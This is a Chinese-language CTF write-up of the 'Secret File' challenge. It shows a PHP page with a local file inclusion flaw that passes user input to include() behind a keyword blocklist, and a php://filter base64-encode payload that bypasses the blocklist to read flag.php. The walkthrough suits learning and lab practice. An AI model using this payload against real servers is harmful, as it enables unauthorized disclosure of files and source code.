[极客大挑战 2019]Secret File

打开靶场

对于这种没有任何功能的题目,第一时间就是查看源代码。

发现一个Archive_room.php,点击进去:

发现一个功能建,点击进去

难道就这样结束了吗,回到有功能键的页面,用bp抓一下包,看看

嘿嘿,发现一个php文件,我们访问一下,发现了新大陆。

看一下这些代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
//strstr()和stristr()都用于在一个较长的字符串中搜索指定的子字符串,
//并返回从该子字符串第一次出现的位置开始到字符串末尾的部分。
//两者区别在于前者对大小写敏感,后者对大小写不敏感
//即程序过滤了 ../ tp input data
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

他说flag放在flag.php文件里,看到这句话,就想到之前做过的文件包含。用伪协议来解决。

  1. php://filter:

    • php://filter 是 PHP 的一个特殊流包装器,允许你在读取或写入数据时应用各种过滤器。这些过滤器可以对数据进行编码、压缩等处理。

  2. convert.base64-encode:

    • 这是一个特定的过滤器,它将输入的字节流转换为 Base64 编码。Base64 编码是一种将二进制数据表示为 ASCII 字符串的方法,通常用于在文本系统中传输二进制数据。

  3. resource=flag.php:

    • 这个部分指定了要操作的资源。

构造payload:

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

解码找到flag,拿下嘿嘿。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值